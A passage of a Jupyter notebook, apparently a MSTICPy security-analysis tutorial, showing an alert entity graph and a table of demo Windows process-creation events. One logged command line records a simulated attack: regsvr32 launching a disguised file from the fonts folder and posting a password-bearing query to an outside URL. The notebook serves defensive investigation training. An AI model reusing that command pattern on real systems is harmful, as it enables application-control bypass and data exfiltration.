detected\",\"text_font_size\":\"10pt\",\"x\":-0.8838935177681776,\"x_offset\":5,\"y\":-1.6308301876481643,\"y_offset\":5},\"id\":\"1087\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"1045\"}},\"id\":\"1047\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1108\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"conhost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.8312945824280463,\"x_offset\":5,\"y\":1.6387240151520306,\"y_offset\":5},\"id\":\"1080\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1045\"},\"glyph\":{\"id\":\"1044\"},\"group\":null,\"hover_glyph\":null,\"view\":{\"id\":\"1047\"}},\"id\":\"1046\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1102\",\"type\":\"AllLabels\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1029\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1107\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Detected suspicious file download\",\"text_font_size\":\"10pt\",\"x\":1.1398921576356194,\"x_offset\":5,\"y\":-0.20248307091010964,\"y_offset\":5},\"id\":\"1060\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICALERTSWIN1\",\"text_font_size\":\"10pt\",\"x\":-0.7125832753925673,\"x_offset\":5,\"y\":1.2782508456593273,\"y_offset\":5},\"id\":\"1076\",\"type\":\"Label\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"value\":25}},\"id\":\"1049\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"wget[pid:0x4e55]\",\"text_font_size\":\"10pt\",\"x\":1.0333317260650166,\"x_offset\":5,\"y\":-0.24092887141882507,\"y_offset\":5},\"id\":\"1064\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICAlertsLxVM2\",\"text_font_size\":\"10pt\",\"x\":0.5331411382104969,\"x_offset\":5,\"y\":-0.7815013768184307,\"y_offset\":5},\"id\":\"1056\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cmd.exe\",\"text_font_size\":\"10pt\",\"x\":-0.39668944769393055,\"x_offset\":5,\"y\":1.084937051745576,\"y_offset\":5},\"id\":\"1083\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1110\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"1023\",\"type\":\"PanTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"rundll32.exe[pid:0x12b0]\",\"text_font_size\":\"10pt\",\"x\":-0.8874294348298396,\"x_offset\":5,\"y\":1.4858882032993588,\"y_offset\":5},\"id\":\"1078\",\"type\":\"Label\"},{\"attributes\":{\"callback\":null,\"tooltips\":[[\"Name\",\"@Name\"],[\"Description\",\"@Description\"],[\"Type\",\"@Type\"]]},\"id\":\"1037\",\"type\":\"HoverTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert Entity graph\"},\"id\":\"1005\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"regsvr32.exe[pid:0x1150]\",\"text_font_size\":\"10pt\",\"x\":-0.7113326864807072,\"x_offset\":5,\"y\":1.0742779005733594,\"y_offset\":5},\"id\":\"1086\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1109\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1104\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"vim.basic\",\"text_font_size\":\"10pt\",\"x\":1.4372598772502676,\"x_offset\":5,\"y\":-0.622338083513138,\"y_offset\":5},\"id\":\"1067\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Security incident detected\",\"text_font_size\":\"10pt\",\"x\":-1.1942174868519249,\"x_offset\":5,\"y\":-1.7029387433960672,\"y_offset\":5},\"id\":\"1069\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: None\",\"text_font_size\":\"10pt\",\"x\":-1.0343024044498637,\"x_offset\":5,\"y\":-1.7199586062192174,\"y_offset\":5},\"id\":\"1070\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Potential attempt to bypass AppLocker detected\",\"text_font_size\":\"10pt\",\"x\":-0.6100384758326585,\"x_offset\":5,\"y\":1.066926341905788,\"y_offset\":5},\"id\":\"1082\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICALERTSLXVM2\",\"text_font_size\":\"10pt\",\"x\":1.1532149382433579,\"x_offset\":5,\"y\":-0.330761741139895,\"y_offset\":5},\"id\":\"1061\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1101\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"1007\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICAdmin\",\"text_font_size\":\"10pt\",\"x\":-0.7882543796044594,\"x_offset\":5,\"y\":1.2246673301556767,\"y_offset\":5},\"id\":\"1079\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":-1.0633772344207915,\"x_offset\":5,\"y\":1.5601226885849593,\"y_offset\":5},\"id\":\"1077\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1104\"},\"group\":null,\"major_label_policy\":{\"id\":\"1105\"},\"ticker\":{\"id\":\"1016\"}},\"id\":\"1015\",\"type\":\"LinearAxis\"}],\"root_ids\":[\"1004\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"999ba201-dd5a-437d-9a3f-35828587a7cf\",\"root_ids\":[\"1004\"],\"roots\":{\"1004\":\"d26779bc-84a1-4f46-b7e1-8172021a6090\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1004"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.plotting.figure.Figure\">Figure</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'1004', <span id=\"1234\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">above&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_scale&nbsp;=&nbsp;1,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">below&nbsp;=&nbsp;[LinearAxis(id='1015', ...)],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">center&nbsp;=&nbsp;[Grid(id='1018', ...), Grid(id='1022', ...), Label(id='1054', ...), Label(id='1055', ...), Label(id='1056', ...), Label(id='1057', ...), Label(id='1058', ...), Label(id='1059', ...), Label(id='1060', ...), Label(id='1061', ...), Label(id='1062', ...), Label(id='1063', ...), Label(id='1064', ...), Label(id='1065', ...), Label(id='1066', ...), Label(id='1067', ...), Label(id='1068', ...), Label(id='1069', ...), Label(id='1070', ...), Label(id='1071', ...), Label(id='1072', ...), Label(id='1073', ...), Label(id='1074', ...), Label(id='1075', ...), Label(id='1076', ...), Label(id='1077', ...), Label(id='1078', ...), Label(id='1079', ...), Label(id='1080', ...), Label(id='1081', ...), Label(id='1082', ...), Label(id='1083', ...), Label(id='1084', ...), Label(id='1085', ...), Label(id='1086', ...), Label(id='1087', ...), Label(id='1088', ...)],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_ranges&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_scales&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_ranges&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_scales&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_height&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_width&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;800,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">hidpi&nbsp;=&nbsp;True,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_height&nbsp;=&nbsp;0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_width&nbsp;=&nbsp;0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">left&nbsp;=&nbsp;[LinearAxis(id='1019', ...)],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_factor&nbsp;=&nbsp;10,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_interval&nbsp;=&nbsp;300,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_threshold&nbsp;=&nbsp;2000,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_timeout&nbsp;=&nbsp;500,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">match_aspect&nbsp;=&nbsp;False,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border&nbsp;=&nbsp;5,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_bottom&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_left&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_right&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_top&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_height&nbsp;=&nbsp;0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_width&nbsp;=&nbsp;0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_cap&nbsp;=&nbsp;'butt',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_color&nbsp;=&nbsp;'#e5e5e5',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash_offset&nbsp;=&nbsp;0,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_join&nbsp;=&nbsp;'bevel',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_width&nbsp;=&nbsp;1,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">output_backend&nbsp;=&nbsp;'canvas',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">renderers&nbsp;=&nbsp;[GraphRenderer(id='1039', ...)],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">reset_policy&nbsp;=&nbsp;'standard',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">right&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title&nbsp;=&nbsp;Title(id='1005', ...),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title_location&nbsp;=&nbsp;'above',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar&nbsp;=&nbsp;Toolbar(id='1030', ...),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_location&nbsp;=&nbsp;'right',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_sticky&nbsp;=&nbsp;True,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;800,</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_range&nbsp;=&nbsp;Range1d(id='1007', ...),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_scale&nbsp;=&nbsp;LinearScale(id='1011', ...),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_range&nbsp;=&nbsp;Range1d(id='1009', ...),</div></div><div class=\"1233\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_scale&nbsp;=&nbsp;LinearScale(id='1013', ...))</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"1234\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"1233\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Figure(id='1004', ...)"
      ]
     },
     "execution_count": 24,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from msticpy.vis.entity_graph_tools import EntityGraph\n",
    "\n",
    "# Entity Graph\n",
    "alert_df = qry_prov.SecurityAlert.list_alerts()\n",
    "grph = EntityGraph(alert_df)\n",
    "grph.plot()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Another common visualization in security tooling is the process tree. This show the hierarchical relationship of processes executed on a host.\n",
    "\n",
    "MSTICPy bas functions to both build and plot these process trees based off Windows process creation events. More details on these functions can be found [here](https://msticpy.readthedocs.io/en/latest/visualization/ProcessTree.html)."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectLogonId</th>\n",
       "      <th>NewProcessId</th>\n",
       "      <th>NewProcessName</th>\n",
       "      <th>TokenElevationType</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ParentProcessName</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>TimeCreatedUtc</th>\n",
       "      <th>NodeRole</th>\n",
       "      <th>Level</th>\n",
       "      <th>ProcessId1</th>\n",
       "      <th>NewProcessId1</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-02-14 11:51:38.507</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>0x78225e</td>\n",
       "      <td>0x1150</td>\n",
       "      <td>C:\\W!ndows\\System32\\regsvr32.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x12f4</td>\n",
       "      <td>.\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>2019-02-14 11:51:38.507</td>\n",
       "      <td>source</td>\n",
       "      <td>0</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-02-14 11:51:37.697</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>0x78225e</td>\n",
       "      <td>0x6dc</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x12f4</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>2019-02-14 11:51:37.697</td>\n",
       "      <td>sibling</td>\n",
       "      <td>1</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-02-14 11:51:38.117</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>0x78225e</td>\n",
       "      <td>0x114c</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x12f4</td>\n",
       "      <td>cmd  /c echo Begin Security Demo tasks</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>2019-02-14 11:51:38.117</td>\n",
       "      <td>sibling</td>\n",
       "      <td>1</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-02-14 11:51:38.137</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>0x78225e</td>\n",
       "      <td>0xfa4</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x12f4</td>\n",
       "      <td>cmd  /c echo Any questions about the commands executed here then please contact one of</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>2019-02-14 11:51:38.137</td>\n",
       "      <td>sibling</td>\n",
       "      <td>1</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-02-14 11:51:38.153</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>0x78225e</td>\n",
       "      <td>0x1164</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x12f4</td>\n",
       "      <td>cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>2019-02-14 11:51:38.153</td>\n",
       "      <td>sibling</td>\n",
       "      <td>1</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId                     Account  EventID  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4688   \n",
       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4688   \n",
       "2  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4688   \n",
       "3  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4688   \n",
       "4  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4688   \n",
       "\n",
       "            TimeGenerated         Computer  \\\n",
       "0 2019-02-14 11:51:38.507  MSTICAlertsWin1   \n",
       "1 2019-02-14 11:51:37.697  MSTICAlertsWin1   \n",
       "2 2019-02-14 11:51:38.117  MSTICAlertsWin1   \n",
       "3 2019-02-14 11:51:38.137  MSTICAlertsWin1   \n",
       "4 2019-02-14 11:51:38.153  MSTICAlertsWin1   \n",
       "\n",
       "                                 SubjectUserSid SubjectUserName  \\\n",
       "0  S-1-5-21-996632719-2361334927-4038480536-500      MSTICAdmin   \n",
       "1  S-1-5-21-996632719-2361334927-4038480536-500      MSTICAdmin   \n",
       "2  S-1-5-21-996632719-2361334927-4038480536-500      MSTICAdmin   \n",
       "3  S-1-5-21-996632719-2361334927-4038480536-500      MSTICAdmin   \n",
       "4  S-1-5-21-996632719-2361334927-4038480536-500      MSTICAdmin   \n",
       "\n",
